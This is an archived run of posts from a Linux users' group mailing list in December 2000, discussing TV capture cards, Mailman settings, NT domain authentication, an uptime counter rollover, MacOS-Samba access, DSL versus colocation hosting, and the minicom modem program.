Wed Dec 27 10:43:12 2000 From: subb3 at attglobal.net (Subba Rao) Date: Mon Jan 17 13:14:12 2005 Subject: [TCLUG] Video card for viewing cable Message-ID: <20001227164312.A14629@attglobal.net> Hi, I am new to the Video on Linux area. Is there an FAQ for this field? My plans on Linux is to add the capability to view video(VCR) and TV/cable. Is there a recommended Video card that I should invest in? What are the video cards that I need to avoid? My current kernel is 2.2.16. Any information to get Video on Linux to work is appreciated. Thank you in advance. Subba Rao subb3@attglobal.net http://pws.prserv.net/truemax/ From blutgens at sistina.com Wed Dec 27 16:54:28 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:14:12 2005 Subject: [TCLUG] ORBS is overkill, so how about this? In-Reply-To: <20001227135340.O31783@real-time.com>; from tanner@real-time.com on Wed, Dec 27, 2000 at 01:53:40PM -0600 References: <20001226233849.A27245@real-time.com> <20001227111518.B799@athena.sistina.com> <20001227135340.O31783@real-time.com> Message-ID: <20001227165427.A952@athena.sistina.com> On Wed, Dec 27, 2000 at 01:53:40PM -0600, Bob Tanner wrote: >If I put tanner@real-time.com in the body of my message mailman does not hack >it. there is a "Hide real address of sender" which replaces it with the listname option. as well as a "Show member addresses so they're not recognizable as email addresses" option on the Privacy portion of the admin stuff on the web interface. Won't these do what you need? > >Look at your message: > >http://mailman.real-time.com/pipermail/tclug-list/2000-December/006006.html > >:-) > > > > >-- >Bob Tanner | Phone : (952)943-8700 >http://www.mn-linux.org | Fax : (952)943-8500 >Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 Sistina Software Inc. work: 612.379.5941 Code Monkey Support (A.K.A. System Administrator) -------------- next part -------------- A non-text attachment was scrubbed... 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In-Reply-To: <20001227165427.A952@athena.sistina.com>; from blutgens@sistina.com on Wed, Dec 27, 2000 at 04:54:28PM -0600 References: <20001226233849.A27245@real-time.com> <20001227111518.B799@athena.sistina.com> <20001227135340.O31783@real-time.com> <20001227165427.A952@athena.sistina.com> Message-ID: <20001227172636.S31783@real-time.com> Quoting Ben Lutgens (blutgens@sistina.com): > On Wed, Dec 27, 2000 at 01:53:40PM -0600, Bob Tanner wrote: > >If I put tanner@real-time.com in the body of my message mailman does not hack > >it. > > there is a "Hide real address of sender" which replaces it with the listname > option. as well as a "Show member addresses so they're not recognizable as > email addresses" option on the Privacy portion of the admin stuff on the web > interface. Won't these do what you need? Those are on, but it still doesn't mungle the address in-line. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From esper at sherohman.org Wed Dec 27 17:30:17 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] ORBS is overkill, so how about this? In-Reply-To: <20001227165427.A952@athena.sistina.com>; from blutgens@sistina.com on Wed, Dec 27, 2000 at 04:54:28PM -0600 References: <20001226233849.A27245@real-time.com> <20001227111518.B799@athena.sistina.com> <20001227135340.O31783@real-time.com> <20001227165427.A952@athena.sistina.com> Message-ID: <20001227173017.E2278@sherohman.org> On Wed, Dec 27, 2000 at 04:54:28PM -0600, Ben Lutgens wrote: > On Wed, Dec 27, 2000 at 01:53:40PM -0600, Bob Tanner wrote: > >If I put tanner@real-time.com in the body of my message mailman does not hack > >it. > > there is a "Hide real address of sender" which replaces it with the listname > option. as well as a "Show member addresses so they're not recognizable as > email addresses" option on the Privacy portion of the admin stuff on the web > interface. Won't these do what you need? "Hide real address of sender" is reply-to-list on steroids; it leaves you with no way to tell who sent a message. "Show member addresses so they're not recognizable as email addresses" lightly mungs addresses which are displayed in member lists - it doesn't even get the sender header in the archives. Neither one will touch addresses embedded in the body of a message. -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From nate at techie.com Wed Dec 27 20:25:01 2000 From: nate at techie.com (nate@techie.com) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] Video card for viewing cable In-Reply-To: <20001227164312.A14629@attglobal.net>; from subb3@attglobal.net on Wed, Dec 27, 2000 at 04:43:12PM +0000 References: <20001227164312.A14629@attglobal.net> Message-ID: <20001227202501.A9069@candle.dyn.dhs.org> On Wed, Dec 27, 2000 at 04:43:12PM +0000, Subba Rao wrote: > I am new to the Video on Linux area. Is there an FAQ for this field? > My plans on Linux is to add the capability to view video(VCR) and TV/cable. > Is there a recommended Video card that I should invest in? What are the video > cards that I need to avoid? My current kernel is 2.2.16. What you want is Video for Linux (v4l) and there is a HOWTO covering it. Between the Hardware Compatibility HOWTO and the v4l HOWTO, you should be able to find a card that works with your system. I'm using a Hauppauge WinTV card along-side my TNT2 and it works great. Nate From clay at fandre.com Wed Dec 27 21:06:30 2000 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] Video card for viewing cable References: <20001227164312.A14629@attglobal.net> Message-ID: <3A4AAE36.3F28254A@fandre.com> Subba Rao wrote: > > Hi, > > I am new to the Video on Linux area. Is there an FAQ for this field? > My plans on Linux is to add the capability to view video(VCR) and TV/cable. > Is there a recommended Video card that I should invest in? What are the video > cards that I need to avoid? My current kernel is 2.2.16. > > Any information to get Video on Linux to work is appreciated. > > Thank you in advance. I have the Hauppauge WinTV card and I love it. It's around $49 and has a cable input (and tuner) as well as a composite input. Works great in Linux and uses the bttv driver. From austad at marketwatch.com Thu Dec 28 00:46:44 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] winbind for authentication against an NT domain Message-ID: Someone asked me today about authenticating their Linux box against an NT domain. I looked into it, and found "winbind" which is part of the Samba project. Here's a link to a PDF about it: http://www.instinct.org/samba/ftp/appliance/winbind.pdf As much as I hate to closely integrate a Linux box and an NT domain, it definitely has its uses, ESPECIALLY for ftp servers. Windows IIS ftp server sucks bigtime, and I use Linux ftp servers. I have ALOT of users, and user administration has become a headache. If I could just let these people use their NT domain logins, my life would be much simpler. Has anyone played around with this? Does it exist in a usable form yet? Jay From andyzb at ltiflex.com Thu Dec 28 08:32:37 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] winbind for authentication against an NT domain References: Message-ID: <3A4B4F05.CC0C1C34@ltiflex.com> Haven't heard of windbind until today, I'll have to check it out. My current soultion has be creating accounts on the Linux servers with the same username as the NT doamin. To do this I use adduser --disabled-password, then use the pam-smb-auth module to handle authintication agnist the NT domain. Kinda crude, but it works. There's also a pam-ntdom module that better supports domains, but it's still in early stages of development. -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 -------------- next part -------------- A non-text attachment was scrubbed... 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Phil Plumbo | Printware, Inc. | psp@printwareinc.com | 1270 Eagan Industrial Rd. | voice: 651-456-1400 http://printwareinc.com | St. Paul, MN 55121 USA | fax: 651-454-3684 From austad at marketwatch.com Thu Dec 28 11:34:50 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] winbind for authentication against an NT domain Message-ID: Will these solutions work with windows 2000? I heard that samba and win2k didn't get along very well. > -----Original Message----- > From: Andy Zbikowski [mailto:andyzb@ltiflex.com] > Sent: Thursday, December 28, 2000 8:33 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] winbind for authentication against an NT domain > > > Haven't heard of windbind until today, I'll have to check it > out. My current > soultion has be creating accounts on the Linux servers with the same > username as the NT doamin. To do this I use adduser > --disabled-password, > then use the pam-smb-auth module to handle authintication > agnist the NT > domain. Kinda crude, but it works. There's also a pam-ntdom > module that > better supports domains, but it's still in early stages of > development. > > -- > Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com > LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 > 21801 Industrial Blvd | (FX) 763-428-9126 > Rogers, MN 55374 | (PCS) 612-306-6055 > From austad at marketwatch.com Thu Dec 28 12:11:27 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] installing linux on an old crappy laptop Message-ID: Someone posted something to the list awhile back on trying to put linux on an old laptop with a 200MB drive. Here's an interesting article: http://www.canadacomputes.com/v3/story/1,1017,5222,00.html?tag=81&sb=79 From destef at destef.com Thu Dec 28 12:19:38 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] Darn 32-bit counters... In-Reply-To: <20001228143408551.AAA290@SUMO.printwareinc.com> Message-ID: Well, today was the day to find out what my Linux server does when the uptime reached 33 bits... Just shortly before: networkstatus ~% cat /proc/interrupts CPU0 0: 4294911869 XT-PIC timer 1: 4131 XT-PIC keyboard 2: 0 XT-PIC cascade 8: 5 XT-PIC rtc 13: 1 XT-PIC fpu 14: 1264289477 XT-PIC ide0 15: 1986077378 XT-PIC Intel EtherExpress Pro 10/100 Ethernet NMI: 0 networkstatus ~% w Inter-| Receive | Transmit face |bytes packets errs drop fifo frame compressed multicast|bytes packe ts errs drop fifo colls carrier compressed lo:20391522 171087 0 0 0 0 0 0 20391522 1710 87 0 0 0 0 0 0 eth0:3076769428 3157276861 2932 0 821 10543 0 0 122765153 1 3145999450 0 0 58 2221963 1 0 11:37am up 497 days, 2:18, 2 users, load average: 0.02, 0.01, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT jdestefa pts/4 admpls2136w 9:28am 0.00s 0.12s 0.03s w jdestefa pts/8 admpls2136w 10:53am 29:22 0.17s 0.04s mysql And about 15 mins later: networkstatus ~% cat /proc/interrupts CPU0 0: 93224 XT-PIC timer 1: 4131 XT-PIC keyboard 2: 0 XT-PIC cascade 8: 5 XT-PIC rtc 13: 1 XT-PIC fpu 14: 1264291859 XT-PIC ide0 15: 1986402194 XT-PIC Intel EtherExpress Pro 10/100 Ethernet NMI: 0 networkstatus ~% w Inter-| Receive | Transmit face |bytes packets errs drop fifo frame compressed multicast|bytes packe ts errs drop fifo colls carrier compressed lo:20391699 171090 0 0 0 0 0 0 20391699 1710 90 0 0 0 0 0 0 eth0:3089631135 3157441975 2932 0 821 10543 0 0 124078915 6 3146163037 0 0 58 2222009 1 0 12:01pm up 15 min, 2 users, load average: 0.28, 0.06, 0.02 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT jdestefa pts/4 admpls2136w 9:28am 0.00s 0.13s 0.03s w jdestefa pts/8 admpls2136w 10:53am 54:13 0.17s 0.04s mysql Im a bit disappointed that I'll never see >497 days on this server (not without a footnote at least). At least now I can schedule some service on this server. A year and a half later and 6 billion pings worth of data sitting on top of a MySQL database and 'dmesg' is still empty... Gotta love it!! Cheers! From tanner at real-time.com Thu Dec 28 18:58:53 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] MacOS -> Samba Message-ID: <20001228185853.L21627@real-time.com> Since the mailing list archives are down, I had to post without doing my research. :-) Anyone know of a way to get MacOS to talk to a Samba server running under Linux? I see DAVE out there, but I was wondering if there is an open source solution? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From ben at nerp.net Thu Dec 28 21:41:58 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] MacOS -> Samba In-Reply-To: <20001228185853.L21627@real-time.com> Message-ID: sorry.. the only thing i've ever heard of, dave is the only one :( damn shame.. mac's could use some better networking tools Thank You, Ben Kochie (ben@nerp.net) "Unix is user friendly, Its just picky about its friends." On Thu, 28 Dec 2000, Bob Tanner wrote: > Since the mailing list archives are down, I had to post without doing my > research. :-) > > Anyone know of a way to get MacOS to talk to a Samba server running under Linux? > > I see DAVE out there, but I was wondering if there is an open source solution? > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From jasonj at innominatus.com Thu Dec 28 23:17:45 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] Covad or Qwest Message-ID: <3A4C1E79.8F86E14A@innominatus.com> It has come to my attention that Onvoy is in fact going to DROP MY A$$ as a DSL customer. So I am in the market to switch. I have heard a rumor or two that Covad might be in some trouble and may close down as well. These are just faint rumors and I have nothing to back them up. Basically I have to choose whether to stick with Covad and simply switch ISP's, or switch ISP's and to Qwest. Sticking with Covad is easier in the short term since I get to reuse the already in place equipment. But if Covad goes under I will have to switch AGAIN! Here are my uses of DSL: I host several domains for myself and family members. Email accounts for those domains occasional quake serving often quake playing VPN type connections and standard browsing. I want low latency and steady bandwidth. Covad/Onvoy provided that to me, and I was a happy customer. But now I get a nice slap in the face. Anyone have any sites I can go to for differences between RDSL, ADSL, SDSL, RADSL and all the other ones. It seems Qwest supplies ADSL and Covad supplies SDSL. Thanks for any input. From dieman at ringworld.org Fri Dec 29 00:20:16 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] Covad or Qwest In-Reply-To: <3A4C1E79.8F86E14A@innominatus.com>; from jasonj@innominatus.com on Thu, Dec 28, 2000 at 11:17:45PM -0600 References: <3A4C1E79.8F86E14A@innominatus.com> Message-ID: <20001229002016.I12580@ringworld.org> * Jason J [001228 23:16]: > I host several domains for myself and family members. > Email accounts for those domains I really can't wait until the trend for this sort of dsl usage falls away and back into groups of people grouping together to fund colocated machines. It's really a shame on how many people get burned by all this DSL instablity. Most ISP's dont just go around shutting off colocated customers. :) Plus, theres much less complexity by taking the [Qwest,Covad,Rythms] DSL part of the equation out. -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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It's really a shame on how many people get burned by all this > DSL instablity. Most ISP's dont just go around shutting off colocated > customers. :) > > Plus, theres much less complexity by taking the [Qwest,Covad,Rythms] > DSL part of the equation out. There is the whole "root-envy" thing on shared colocated boxes. Everyone just wants the power and they don't want to share. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jasonj at innominatus.com Fri Dec 29 07:31:49 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:14:13 2005 Subject: [TCLUG] Covad or Qwest References: <3A4C1E79.8F86E14A@innominatus.com> <20001229002016.I12580@ringworld.org> <20001229012425.A6780@real-time.com> Message-ID: <3A4C9245.41877416@innominatus.com> If I have a static IP and an always on connection that is basically half a T1, why not take full advantage of it. Why not host my own mail and dns and other services so I don't have to rely on an ISP. If for some reason mine should fail I can always use the ISP's mail servers and DNS servers as a back up. This way I don't have to pay any more charges and I have easy physical access to my server if I want to make any hardware swaps. I have to have a server anyway, for firewalling, MASQ'ing and VPN. I like having my family's email stored on family property and not sitting on someone else's server where it can be read or deleted at someone else's request. There are alot of other reasons that I wouldnt want to share a colo server that I dont feel like typing out. Anyway, these comments do not answer my question and are just negative criticism of my connection usage. I just want to know if anyone knows if I can trust Covad to stay in business. And I also want to know if anyone has opinions on which company is better, Covad or Qwest. Thank you all in advance for your help. Bob Tanner wrote: > Quoting Scott Dier (dieman@ringworld.org): > > * Jason J [001228 23:16]: > > > I host several domains for myself and family members. > > > Email accounts for those domains > > > > I really can't wait until the trend for this sort of dsl usage falls > > away and back into groups of people grouping together to fund colocated > > machines. It's really a shame on how many people get burned by all this > > DSL instablity. Most ISP's dont just go around shutting off colocated > > customers. :) > > > > Plus, theres much less complexity by taking the [Qwest,Covad,Rythms] > > DSL part of the equation out. > > There is the whole "root-envy" thing on shared colocated boxes. Everyone just > wants the power and they don't want to share. > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From mauvehead at nerp.net Fri Dec 29 09:58:52 2000 From: mauvehead at nerp.net (Nate Sanders) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] Covad or Qwest References: <3A4C1E79.8F86E14A@innominatus.com> Message-ID: <3A4CB4BC.D9F9B302@nerp.net> I'm curious on what further info there is on this topic. I have iDSL from Covad/Onvoy. I've had no troubles with Covad, but MRnet has been a pain in my ass for 3 years. Before I got dsl I had my server Colcated. That ISP used MRnet as their upstream. Does anyone else notice hoe MRnet goes down about 3-5 times a month for periods of 15m-5h? This happens on my DSL, and the ISP who used to colo me. What ever rumors you might have heard, I'm interested if anyone else knows about it or has other info. Jason J wrote: > > It has come to my attention that Onvoy is in fact going to DROP MY A$$ > as a DSL customer. So I am in the market to switch. > > I have heard a rumor or two that Covad might be in some trouble and may > close down as well. These are just faint rumors and I have nothing to > back them up. -- Nate Sanders darkskull@IRC (newnet) mauvehead@nerp.net http://www.damnation.net From destef at destef.com Fri Dec 29 10:05:37 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] Covad or Qwest In-Reply-To: <20001229002016.I12580@ringworld.org> Message-ID: So scott, you seem to be in the business of pushing people to co-locate servers at ISP (why, i dont know) so how about you offer up some suggestions on who to co-locate with and pricing along with all the restrictions and fine print they will surely provide. Im all for possibly co-locating a machine with an ISP if the price is right. What I'd want to know is what sort of bandwidth they would provide, are they gonna charge me based on bandwidth or is it unlimited. Somehow I gotta think that unlimited bandwidth is not gonna be cheap. A subnet of 8 IP's and 640Kb runs me $90/month from Qwaste, is an ISP gonna be that competitive for unmetered usage? If the price cant be competitive then your suggestion has no merit. On Fri, 29 Dec 2000, Scott Dier wrote: > * Jason J [001228 23:16]: > > I host several domains for myself and family members. > > Email accounts for those domains > > I really can't wait until the trend for this sort of dsl usage falls > away and back into groups of people grouping together to fund colocated > machines. It's really a shame on how many people get burned by all this > DSL instablity. Most ISP's dont just go around shutting off colocated > customers. :) > > Plus, theres much less complexity by taking the [Qwest,Covad,Rythms] > DSL part of the equation out. > > From destef at destef.com Fri Dec 29 10:16:35 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] Covad or Qwest In-Reply-To: <3A4C9245.41877416@innominatus.com> Message-ID: Guess that makes two of us in this world that have the same intentions for our networks... As much as I HATE Qwaste for screwing me, if you can get DSL then their ISP service is fairly good. I've had the following from them for the past two and a half years: 640/256Kb DSL $20 Basic ISP from Qwaste $20 Home office package $35 (needed to get static subnet) 8 IP subnet (29bit) $15 ~Total $90/month (i think the prices are accurate) My domain is pointing to my DNS servers. I talked Qwaste into doing reverse delegation for DNS to my servers (they said they normally dont unless you have a business-class line). I run DNS and mail from my own servers with a friend who has a similar setup as my domain backup for mail and DNS. Until Qwaste screwed in my new apartment this service has been excellent (provided you can wait through the poor service when you need to make changes which is usually not often). Not sure about covad's prices and how they compete. Jason On Fri, 29 Dec 2000, Jason J wrote: > If I have a static IP and an always on connection that is basically half a T1, > why not take full advantage of it. Why not host my own mail and dns and other > services so I don't have to rely on an ISP. If for some reason mine should fail I > can always use the ISP's mail servers and DNS servers as a back up. This way I > don't have to pay any more charges and I have easy physical access to my server > if I want to make any hardware swaps. I have to have a server anyway, for > firewalling, MASQ'ing and VPN. I like having my family's email stored on family > property and not sitting on someone else's server where it can be read or deleted > at someone else's request. There are alot of other reasons that I wouldnt want to > share a colo server that I dont feel like typing out. > > Anyway, these comments do not answer my question and are just negative criticism > of my connection usage. I just want to know if anyone knows if I can trust Covad > to stay in business. And I also want to know if anyone has opinions on which > company is better, Covad or Qwest. > > Thank you all in advance for your help. > > > > Bob Tanner wrote: > > > Quoting Scott Dier (dieman@ringworld.org): > > > * Jason J [001228 23:16]: > > > > I host several domains for myself and family members. > > > > Email accounts for those domains > > > > > > I really can't wait until the trend for this sort of dsl usage falls > > > away and back into groups of people grouping together to fund colocated > > > machines. It's really a shame on how many people get burned by all this > > > DSL instablity. Most ISP's dont just go around shutting off colocated > > > customers. :) > > > > > > Plus, theres much less complexity by taking the [Qwest,Covad,Rythms] > > > DSL part of the equation out. > > > > There is the whole "root-envy" thing on shared colocated boxes. Everyone just > > wants the power and they don't want to share. > > > > -- > > Bob Tanner | Phone : (952)943-8700 > > http://www.mn-linux.org | Fax : (952)943-8500 > > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From natecars at real-time.com Fri Dec 29 10:22:03 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] Covad or Qwest In-Reply-To: <20001229002016.I12580@ringworld.org> Message-ID: On Fri, 29 Dec 2000, Scott Dier wrote: > I really can't wait until the trend for this sort of dsl usage falls > away and back into groups of people grouping together to fund colocated > machines. It's really a shame on how many people get burned by all this > DSL instablity. Most ISP's dont just go around shutting off colocated > customers. :) Why would it fail? What's wrong with hosting your own servers on your own DSL link? For personal usage, why pay the upwards of $150/mo for a colocation of a single machine when you can get DSL with a 8/16-ip subnet for less, which lets you have more boxes online? > Plus, theres much less complexity by taking the [Qwest,Covad,Rythms] > DSL part of the equation out. That's true. But if it's just hobbyist stuff, it doesn't really matter.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From JMiller2 at dainrauscher.com Fri Dec 29 10:21:09 2000 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] communication with modem Message-ID: I am still new at Linux. I would like to know of a program that comes with RH7.0 where I can type AT commands to my modem directly and see the result. If you don't know of any that comes with RH7.0 any other suggestions would be appreciated. John Miller Dain Rauscher Inc. Application Services COBOL Programmer IS Capital Markets Phone 612-547-7573 Fax 612-547-7580 From b.layer at vikingelectronics.com Fri Dec 29 02:21:28 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] MacOS -> Samba In-Reply-To: <20001228185853.L21627@real-time.com> Message-ID: <5.0.2.1.0.20001229022039.009ed8d0@mail.vikingelectronics.com> DAVE is notoriously buggy... I've used it in the last year with very limited success. At 06:58 PM 12/28/00 -0600, you wrote: >Anyone know of a way to get MacOS to talk to a Samba server running under >Linux? > >I see DAVE out there, but I was wondering if there is an open source solution? Bill From esper at sherohman.org Fri Dec 29 10:30:09 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] Covad or Qwest In-Reply-To: ; from destef@destef.com on Fri, Dec 29, 2000 at 08:05:37AM -0800 References: <20001229002016.I12580@ringworld.org> Message-ID: <20001229103008.A15309@sherohman.org> On Fri, Dec 29, 2000 at 08:05:37AM -0800, Jason DeStefano wrote: > If the price cant be competitive then your suggestion has > no merit. I tend to see the part about "groups of people grouping together to fund colocated machines", instead of individuals doing it themselves, as an implicit admission that colo is (substantially) more expensive. Also, don't forget that your $90/month includes a few things that a single colo box doesn't. Based on the price breakdown you gave earlier, it also includes: - An ISP account, which I'm sure you would still have to pay for if coloing (that server won't do you much good if you can't dial in somewhere to access the net) - High-speed net access for your own usage (which brings telco/cableco back into the picture, with all their headaches) - The ability to easily add boxes and make up to 5 of them (you mentioned having an 8 IP block) directly visible to the outside world at no extra cost (what would you be charged to colo 5 boxes instead of 1?) In the price breakdown you gave, you would save, IIRC, $50/month by dropping the 'server' part of your DSL arrangement (the 'home office' add-on and the /29 subnet), so you should be making colo compete against that price rather than the full $90. -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From b.layer at vikingelectronics.com Fri Dec 29 02:27:02 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] communication with modem In-Reply-To: Message-ID: <5.0.2.1.0.20001229022644.009efc60@mail.vikingelectronics.com> minicom At 10:21 AM 12/29/00 -0600, you wrote: >I am still new at Linux. I would like to know of a program that comes with >RH7.0 where I can type AT commands to my modem directly and see the result. >If you don't know of any that comes with RH7.0 any other suggestions would >be appreciated. From natecars at real-time.com Fri Dec 29 10:34:55 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] communication with modem In-Reply-To: Message-ID: On Fri, 29 Dec 2000, Miller, John wrote: > I am still new at Linux. I would like to know of a program that comes with > RH7.0 where I can type AT commands to my modem directly and see the result. > If you don't know of any that comes with RH7.0 any other suggestions would > be appreciated. Install the 'minicom' package. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jethro at freakzilla.com Fri Dec 29 10:35:21 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] communication with modem In-Reply-To: Message-ID: Hi, On Fri, 29 Dec 2000, Miller, John wrote: > I am still new at Linux. I would like to know of a program that comes with > RH7.0 where I can type AT commands to my modem directly and see the result. > If you don't know of any that comes with RH7.0 any other suggestions would > be appreciated. Minicom comes with RH7. It's Telix-like comm program. -Yaron -- From andy at theasis.com Fri Dec 29 04:36:48 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] Covad or Qwest or whatever. In-Reply-To: Message-ID: > will surely provide. Im all for possibly co-locating a machine > with an ISP if the price is right. What I'd want to know is > what sort of bandwidth they would provide, are they gonna > charge me based on bandwidth or is it unlimited. Somehow I > gotta think that unlimited bandwidth is not gonna be cheap. It's not -- certainly not anywhere I've checked. The choices are universally limited to charges on a bandwidth basis; Some will put you in a bracket with a certain range of "average" and burstable bandwidth, and you will be capped to not exceed that. Others measure your actual usage with a little more resolution, and charge you somehow on a per-gig/month basis. Sometimes it's a combination of the two, from a formula based on some bizarre accounting model. Then there's the actual way of counting usage rates. Most use an MRTG-like method of smoothing by averaging over 5 min periods, and then checking that against some criteria Regardless of bandwidth charges, you're also into the actual colocation charge itself -- space and utility rental. Some of the big data centers will charge you $1000/month to rent a cabinet, and most won't let you take anything smaller than 1/2 cabinet at $500/month. Then the bandwidth charges are added on top of that. Smaller ISPs are certainly cheaper, and may have less rigid pricing schemes. But then you may be back to worrying about one path out, or whether someone's gonna decide to move the rack and not tell you that they cut the power to your box. So, even if it's a small ISP, make sure they have a real colocation facility set up, with established procedures on how they handle its customers. There are a bunch of companies who are selling rackmount systems and colocation packages. Linux Labs is one of these -- not that I recommend them, since I've never used them. It seems like a cheaper option than the standard hosting centers, but since you really do pay on a per-k/s basis, you have to worry about how they're computing it, and you have to know how much you use. > A subnet of 8 IP's and 640Kb runs me $90/month from Qwaste, > is an ISP gonna be that competitive for unmetered usage? Probably not. There are other advantages, but those are not necessarily so clearly defined for small operations. Colocation presumably is situated in a facility that is closely monitored, so that you have reliability. If DSL works for you, even with a reasonable amount of trouble, I have yet to see a compelling argument to change from it. In fact, I have only ISDN, and while I complain a lot about my connection, I'm not ready to lay out all that extra cash. Andy From jasonj at innominatus.com Fri Dec 29 10:43:42 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:14:14 2005 Subject: [TCLUG] Covad or Qwest References: Message-ID: <3A4CBF3E.454AC473@innominatus.com> I am looking at switching to speakeasy.net's PremiumPlus 768k/768k SDSL package (with the SysAdmin/rootpro modification. No price changes for modifications from the standard packages.). PremiumPlus 768 $159/month = 2 POP Emails, 1 Shell (Linux!) Account, 4 Static IPs, 100MB Webspace, Extra Dialup Account (30/hrs month) Premium 768 $149/month = 2 POP Emails, 1 Static IP, GameSpy Software For the extra $10 i think i will go with the Plus. The only things I want are 1 IP, 10 meg of web space for things like ebay pictures, and a dailup i can use with my laptop. Dont need anymore IP's or pop emails or shell accounts. The price is kinda high from my $70/month for SDSL 768/768 at onvoy, but I heard from someone they have very good backbones and they are supposed to be a very good company. Jason DeStefano wrote: > Guess that makes two of us in this world that have the same > intentions for our networks... > > As much as I HATE Qwaste for screwing me, if you can get DSL > then their ISP service is fairly good. I've had the following > from them for the past two and a half years: > > 640/256Kb DSL $20 > Basic ISP from Qwaste $20 > Home office package $35 (needed to get static subnet) > 8 IP subnet (29bit) $15 > > ~Total $90/month 